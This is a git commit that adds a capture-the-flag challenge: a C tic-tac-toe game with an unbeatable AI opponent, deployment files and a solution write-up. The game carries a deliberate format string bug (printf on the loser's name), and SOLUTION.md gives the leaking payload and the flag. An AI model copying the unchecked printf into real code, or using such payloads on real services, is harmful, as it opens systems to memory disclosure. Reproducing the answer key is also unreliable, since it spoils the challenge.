feat: add tic-tac-toes challenge

This commit is contained in:
Abel Stuker 2024-11-25 22:33:42 +01:00
parent 279be322d7
commit 42ae878989
18 changed files with 601 additions and 0 deletions

29
tic-tac-toes/.gdb_history Normal file
View File

@ -0,0 +1,29 @@
disassemble main
break print_win_message
d 1
break main
r
disassemble print_win_message
break *0x00005555555554c2
c
r
c
c
r
c
c
r
c
c
r
c
r
c
c
r
c
c
r
c
c
disassemble print_win_message

19
tic-tac-toes/Dockerfile Normal file
View File

@ -0,0 +1,19 @@
FROM debian:bullseye
RUN apt update -y && apt install -y python3 build-essential
RUN useradd -m ctf
WORKDIR /app
COPY src /app/src
COPY Makefile /app/Makefile
COPY spawner.py /app/spawner.py
ENV FLAG="\"\\\"IGCTF{W3ll_y0u_st1ll_l0st_BuT_at_l3ast_yoU_g0t_th3_fl4g}\\\"\""
RUN make clean
RUN make
CMD ["python3", "spawner.py", "--host", "0.0.0.0", "--port", "3005", "./tic-tac-toes"]
EXPOSE 3005

49
tic-tac-toes/Makefile Normal file
View File

@ -0,0 +1,49 @@
CC=gcc
LD=gcc
# I'm using GCC to link code. This is prefered over using LD directly since
# it will handle all the GLIBC linkage for you.
SRCS = $(wildcard src/*.c)
OBJS = ${SRCS:.c=.o}
DEST = tic-tac-toes
CC_FLAGS = -Wall -Wextra -Werror -Wno-unused-parameter -Wno-unused-variable -Wno-unused-function
LD_FLAGS =
LIBS =
ifeq ($(FLAG),)
FLAG := "\"IGCTF{REDACTED}\""
endif
# This is to let make know these are not actually file targets but rather
# command targets.
.PHONY = all clean format debug run
all: $(DEST)
# Link all objects together into one binary
$(DEST): ${OBJS}
$(LD) ${LD_FLAGS} $^ $(LIBS) -o $(DEST)
# For every c file, compile it to an object file
%.o: %.c
$(CC) ${CC_FLAGS} -c $< -o $@ -DFLAG=$(FLAG)
# Run the formatter
format:
clang-format -i src/*.c src/*.h
# Run the created binary
run: $(DEST)
./$(DEST)
# Run the created binary using the debugger
debug: $(DEST)
gdb ./$(DEST) -ex "set disassembly-flavor intel"
# Clean the project of all build files
clean:
$(info [INFO] Cleaning directory)
rm -rf ${OBJS} $(DEST)

15
tic-tac-toes/README.md Normal file
View File

@ -0,0 +1,15 @@
# TicTacToes
## Text
Everyone has that one weird friend, mine just sent me a game they made.
They bet me that I can't beat their game and if I can't, I have to send
them a pic of myself in sandals??? Anyway I really don't want to, so please
just win this for me.
## Author
Robbe De Greef
## Files
tic-tac-toes (the binary)
## How to Deploy
Deploy docker compose.

36
tic-tac-toes/SOLUTION.md Normal file
View File

@ -0,0 +1,36 @@
## Difficulty
50/100 | MEDIUM
Simple format string attack, this is not groundbreaking stuff.
## Category
Exploitation
## How To Solve
There is a format string vulnerability in the `print_win_message` function.
The name the user inputs at the beginning of the game is printed here using
`printf` without any validation. This means we can leak data from the stack.
It also happens that the flag is on the stack.
To leak the flag we are going to use the `%s` format string specifier. The
problem is that there are a couple of values on the stack before that, for
example the stack looks like this right before the `printf` call:
```
00:0000│ rsp 0x7fffffffd250 —▸ 0x5555555596b0 ◂— '%x%x%x%s'
01:0008│-018 0x7fffffffd258 —▸ 0x55555555670b ◂— 'Xx_TicTacToesKing69_xX'
02:0010│-010 0x7fffffffd260 —▸ 0x555555559720 —▸ 0x55555555670b ◂— 'Xx_TicTacToesKing69_xX'
03:0018│-008 0x7fffffffd268 —▸ 0x55555555667f ◂— 'IGCTF{REDACTED}'
04:0020│ rbp 0x7fffffffd270 —▸ 0x7fffffffd2b0 —▸ 0x7fffffffd2e0 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3e0 ◂— ...
05:0028│+008 0x7fffffffd278 —▸ 0x555555555b64 (play_game+240) ◂— mov rax, qword ptr [rbp - 0x18]
06:0030│+010 0x7fffffffd280 —▸ 0x555555559740 —▸ 0x5555555596b0 ◂— '%x%x%x%s'
07:0038│+018 0x7fffffffd288 —▸ 0x555555559720 —▸ 0x55555555670b ◂— 'Xx_TicTacToesKing69_xX'
```
So we need to pop off, 3 64 bit ints before we reach the flag. Which means we would
need the following payload `%p%p%p%s`. This would work on a 32 bit machine but since
this is a 64 bit binary, the first 6 arguments are passed via register. This means
we need to "pop off" an additional 5 arguments (the first argument is the format
string itself) giving us the final payload string:
`%p%p%p%p%p%p%p%p%s`
## Flag
IGCTF{W3ll_y0u_st1ll_l0st_BuT_at_l3ast_yoU_g0t_th3_fl4g}

View File

@ -0,0 +1,6 @@
version: '3.9'
services:
tic-tac-toes:
build: .
ports:
- 3005:3005

47
tic-tac-toes/spawner.py Normal file
View File

@ -0,0 +1,47 @@
import socket
from threading import Thread
import subprocess
import sys
import argparse
# How to use:
# Set the host and port above
# Invoke the spawner like this
# python3 spawner.py -h <host> -p <port> <your arguments to spawn here>
def on_new_client(conn, addr, cmd):
print(f"New connection with {addr}")
file = conn.makefile('w')
p = subprocess.Popen(cmd, stdout=file, stdin=file)
conn.close()
def main():
parser = argparse.ArgumentParser(description="Spawn some processes over a socket")
parser.add_argument('--host', type=str, required=True, nargs=1, help='The host ip to listen on')
parser.add_argument('--port', type=int, required=True, nargs=1, help='The host port to listen on')
parser.add_argument('rest', nargs=argparse.REMAINDER)
args = parser.parse_args()
s = socket.socket()
host = args.host[0]
port = args.port[0]
cmd = args.rest
print(f"Command spawn each time: {cmd}")
s.bind((host, port))
s.listen(5)
print(f"Now listening for connections on {host}:{port}")
try:
while True:
conn, addr = s.accept()
t = Thread(target=on_new_client, args=(conn,addr, cmd))
t.run()
except KeyboardInterrupt:
pass
s.close()
print("Goodbye")
if __name__ == '__main__':
main()

87
tic-tac-toes/src/board.c Normal file
View File

@ -0,0 +1,87 @@
#include <stdio.h>
#include <stdlib.h>
#include "board.h"
struct board *board_init()
{
struct board *board = calloc(1, sizeof(struct board));
return board;
}
void board_destruct(struct board *board)
{
free(board);
}
enum cell_state board_get_cell(struct board *board, int x, int y)
{
return board->cells[y * WIDTH + x];
}
void board_set_cell(struct board *board, int x, int y, enum cell_state state)
{
board->cells[y * WIDTH + x] = state;
}
static void board_print_decoration_line()
{
for (int x = 0; x < WIDTH; x++)
{
printf("+---");
}
printf("+\n");
}
char board_cell_char_repr(enum cell_state cell)
{
switch (cell)
{
case CROSS:
return 'X';
case NOUGHT:
return 'O';
default:
return '_';
}
}
void board_print(struct board *board)
{
for (int y = 0; y < HEIGHT; y++)
{
board_print_decoration_line();
for (int x = 0; x < WIDTH; x++)
{
enum cell_state cell = board_get_cell(board, x, y);
char c = board_cell_char_repr(cell);
printf("| %c ", c);
}
printf("|\n");
}
board_print_decoration_line();
}
int board_is_full(struct board *board)
{
for (int y = 0; y < HEIGHT; y++)
{
for (int x = 0; x < WIDTH; x++)
{
if (board_get_cell(board, x, y) == NOPLAYER)
return 0;
}
}
return 1;
}
enum cell_state get_opponent(enum cell_state player)
{
if (player == CROSS)
{
return NOUGHT;
}
else
{
return CROSS;
}
}

26
tic-tac-toes/src/board.h Normal file
View File

@ -0,0 +1,26 @@
#ifndef BOARD_H
#define BOARD_H
#define WIDTH 3
#define HEIGHT 3
enum cell_state {
NOPLAYER = 0,
CROSS,
NOUGHT,
};
struct board {
enum cell_state cells[WIDTH * HEIGHT];
};
struct board* board_init();
void board_destruct(struct board* board);
enum cell_state board_get_cell(struct board* board, int x, int y);
void board_set_cell(struct board* board, int x, int y, enum cell_state state);
void board_print(struct board* board);
int board_is_full(struct board* board);
enum cell_state get_opponent(enum cell_state player);
char board_cell_char_repr(enum cell_state cell);
#endif /* BOARD_H */

BIN
tic-tac-toes/src/board.o Normal file

Binary file not shown.

0
tic-tac-toes/src/flag.c Normal file
View File

BIN
tic-tac-toes/src/flag.o Normal file

Binary file not shown.

23
tic-tac-toes/src/player.c Normal file
View File

@ -0,0 +1,23 @@
#include <stdlib.h>
#include <string.h>
#include "player.h"
struct player* player_init(char* name, enum cell_state color, player_move_fptr move) {
struct player* player = malloc(sizeof(struct player));
player->name = name;
player->color = color;
player->move = move;
return player;
}
void player_destruct(struct player* player)
{
free(player);
}
struct player* player_swap(struct player* cur, struct player* first, struct player* second)
{
if (cur->color == first->color) return second;
return first;
}

18
tic-tac-toes/src/player.h Normal file
View File

@ -0,0 +1,18 @@
#ifndef PLAYER_H
#define PLAYER_H
#include "board.h"
typedef void (*player_move_fptr)(struct board*, enum cell_state);
struct player {
char* name;
enum cell_state color;
player_move_fptr move;
};
struct player* player_init(char* name, enum cell_state color, player_move_fptr move);
void player_destruct(struct player* player);
struct player* player_swap(struct player* cur, struct player* first, struct player* second);
#endif /* PLAYER_H */

BIN
tic-tac-toes/src/player.o Normal file

Binary file not shown.

View File

@ -0,0 +1,246 @@
#include <stdio.h>
#include <unistd.h>
#include <math.h>
#include "board.h"
#include "player.h"
#ifndef FLAG
#define FLAG "IGCTF{REDACTED}"
#endif
#define max(x, y) (((x) > (y)) ? (x) : (y))
#define min(x, y) (((x) < (y)) ? (x) : (y))
const char *toes =
" @@@@@@@@@@ @@@#@@@@*@@ \n"
" @@%:::::::::-%@@ @#::#@#+*%@#@@ \n"
" @%::::--==--::::%@ @@+::=@:....:@+@@ @@@@@ \n"
" @*:*@%+-....:+%@*:*@ @%::::#@-..:%#:%@%*%%##@@@ \n"
" @#:*#............%=:*@ @%::::::=##+:::@++@...-%%@@ \n"
" @@-:+#............@-::%@@@=:::::::::::=@-+@:...+@*@ \n"
" @%::-@...........=@:::-@ @@-::::::::::#*:::*%%%*:*@ \n"
" @+:::##.........-@-::::%@ @@-:::::::::@=:::::::::%@ @@@@@@ \n"
" @=::::+@*-...:+@*::::::*@ @=:::::::::%+:::::::::@@@=::+#%@@ \n"
" @=:::::::=***+:::::::::*@ @*:::::::::*#:::::::::@+::-@-..:%@@ \n"
" @*:::::::::::::::::::::#@ @*:::::::::*%:::::::::%+:::*%:.:@#@ \n"
" @@:::::::::::::::::::::@@ @*:::::::::*#:::::::::%*:::::+*+::@ \n"
" @@-:::::::::::::::::::#@ @+:::::::::#+:::::::::%#::::::::::@ \n"
" @+::::::::::::::::::-@@ @-:::::::::%=:::::::::%*::::::::::@ \n"
" @@::::::::::::::::::*@ @@-:::::::::%=:::::::::@*::::::::::@@@@@@ \n"
" @%:::::::::::::::::@@ @%::::::::::#*::::::::+@@:::::::::-@::-#@@@ \n"
" @@-::: _____ _ :@ _____ :::: _____ ::::+@:::::::::: :-@..=@ \n"
" @+::: |_ _(_)__ |_ _|_ _ __ |_ _|__ ___ ___ :::::::*@@@@@ \n"
" @+::: | | | / _| | |/ _` / _| | |/ _ \\/ -_|_-< :::::::::::*@ \n"
" @+::: |_| |_\\__| |_|\\__,_\\__| |_|\\___/\\___/__/ ::::::::::*@ \n"
" @+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*@ \n";
void print_banner()
{
puts(toes);
sleep(1);
}
void print_win_message(char *winner, char *loser)
{
char* flag = FLAG;
puts("And the flag goes tooo...");
puts(winner);
puts("Guess who lost...");
printf(loser);
}
int has_player_won(struct board *board, enum cell_state player)
{
// Rows
for (int y = 0; y < HEIGHT; y++)
{
enum cell_state x0 = board_get_cell(board, 0, y);
enum cell_state x1 = board_get_cell(board, 1, y);
enum cell_state x2 = board_get_cell(board, 2, y);
if (x0 == x1 && x1 == x2 && x0 == player)
return 1;
}
// Cols
for (int x = 0; x < WIDTH; x++)
{
enum cell_state y0 = board_get_cell(board, x, 0);
enum cell_state y1 = board_get_cell(board, x, 1);
enum cell_state y2 = board_get_cell(board, x, 2);
if (y0 == y1 && y1 == y2 && y0 == player)
return 1;
}
// Diags
enum cell_state p0 = board_get_cell(board, 0, 0);
enum cell_state p1 = board_get_cell(board, 1, 1);
enum cell_state p2 = board_get_cell(board, 2, 2);
if (p0 == p1 && p1 == p2 && p0 == player)
return 1;
p0 = board_get_cell(board, 2, 0);
p1 = board_get_cell(board, 1, 1);
p2 = board_get_cell(board, 0, 2);
if (p0 == p1 && p1 == p2 && p0 == player)
return 1;
return 0;
}
int minimax(struct board *board, int depth, int isMaximizingPlayer, enum cell_state player)
{
if (has_player_won(board, CROSS))
{
return 10;
}
else if (has_player_won(board, NOUGHT))
{
return -10;
}
else if (board_is_full(board))
{
return 0;
}
if (isMaximizingPlayer)
{
int bestScore = -1000;
for (int x = 0; x < WIDTH; x++)
{
for (int y = 0; y < HEIGHT; y++)
{
if (board_get_cell(board, x, y) == NOPLAYER)
{
board_set_cell(board, x, y, player);
int score = minimax(board, depth + 1, 0, player);
board_set_cell(board, x, y, NOPLAYER);
bestScore = max(score, bestScore);
}
}
}
return bestScore;
}
else
{
int best_score = 1000;
for (int x = 0; x < WIDTH; x++)
{
for (int y = 0; y < HEIGHT; y++)
{
if (board_get_cell(board, x, y) == NOPLAYER)
{
board_set_cell(board, x, y, get_opponent(player));
int score = minimax(board, depth + 1, 1, player);
board_set_cell(board, x, y, NOPLAYER);
best_score = min(score, best_score);
}
}
}
return best_score;
}
}
void ai_do_move(struct board *board, enum cell_state player)
{
int best_score = -1000;
int best_move_x = -1;
int best_move_y = -1;
for (int x = 0; x < WIDTH; x++)
{
for (int y = 0; y < HEIGHT; y++)
{
if (board_get_cell(board, x, y) == NOPLAYER)
{
board_set_cell(board, x, y, player);
int score = minimax(board, 0, 0, player);
board_set_cell(board, x, y, NOPLAYER);
if (score > best_score)
{
best_score = score;
best_move_x = x;
best_move_y = y;
}
}
}
}
board_set_cell(board, best_move_x, best_move_y, player);
}
void user_do_move(struct board *board, enum cell_state player)
{
int x, y;
while (1)
{
printf("x: ");
scanf("%i", &x);
printf("y: ");
scanf("%i", &y);
x -= 1;
y -= 1;
if (x < 0 || x > 2 || y < 0 || y > 2)
continue;
if (board_get_cell(board, x, y) != NOPLAYER)
continue;
board_set_cell(board, x, y, player);
break;
}
}
void play_game(struct player *player1, struct player *player2)
{
struct board *board = board_init();
struct player *player = player2;
while (!has_player_won(board, player->color))
{
player = player_swap(player, player1, player2);
printf("%s can now move\n", player->name);
board_print(board);
player->move(board, player->color);
}
board_print(board);
// Laigh
char *winner = player->name;
player = player_swap(player, player1, player2);
char *loser = player->name;
print_win_message(winner, loser);
board_destruct(board);
}
int main()
{
setbuf(stdout, NULL);
char *username = NULL;
print_banner();
printf("Before we start playing, what is your name?\n> ");
scanf("%ms", &username);
struct player *player1 = player_init("Xx_TicTacToesKing69_xX", CROSS, ai_do_move);
struct player *player2 = player_init(username, NOUGHT, user_do_move);
play_game(player1, player2);
return 0;
}

Binary file not shown.

BIN
tic-tac-toes/tic-tac-toes Executable file

Binary file not shown.